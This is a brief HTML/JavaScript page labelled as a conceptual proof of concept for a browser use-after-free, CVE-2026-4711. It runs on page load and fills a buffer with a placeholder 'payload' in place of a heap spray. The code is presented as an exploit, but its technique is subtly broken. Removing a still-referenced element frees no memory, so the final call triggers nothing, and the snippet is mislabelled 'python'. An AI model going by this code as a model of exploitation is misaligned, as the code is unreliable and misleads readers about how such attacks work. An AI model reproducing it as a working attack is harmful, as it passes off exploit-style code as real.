The following code is for security research and authorized testing only.
python
<!--
// Proof of Concept for CVE-2026-4711 (Conceptual)
// This script attempts to trigger the Use-After-Free in Widget: Cocoa
-->
<html>
<body>
<script>
function trigger_uaf() {
// Create a vulnerable element context
var vuln_obj = document.createElement('div');
document.body.appendChild(vuln_obj);
// Force specific layout calculation or event handling
vuln_obj.style.display = 'flex';
vuln_obj.getBoundingClientRect();
// Remove the object (Free memory)
document.body.removeChild(vuln_obj);
// Attempt to reallocate the freed memory with attacker-controlled data
// In a real exploit, this would be a heap spray
var buffer = new ArrayBuffer(0x1000);
var view = new Uint32Array(buffer);
for (let i = 0; i < view.length; i++) {
view[i] = 0x41414141; // Placeholder payload
}
// Trigger the Use-After-Free by accessing the freed object
// This may crash the browser or lead to code execution
try {
vuln_obj.scrollIntoView();
} catch(e) {
console.log("Exception triggered: " + e);
}
}
window.onload = trigger_uaf;
</script>
<p>CVE-2026-4711 PoC Test Page</p>
</body>
</html>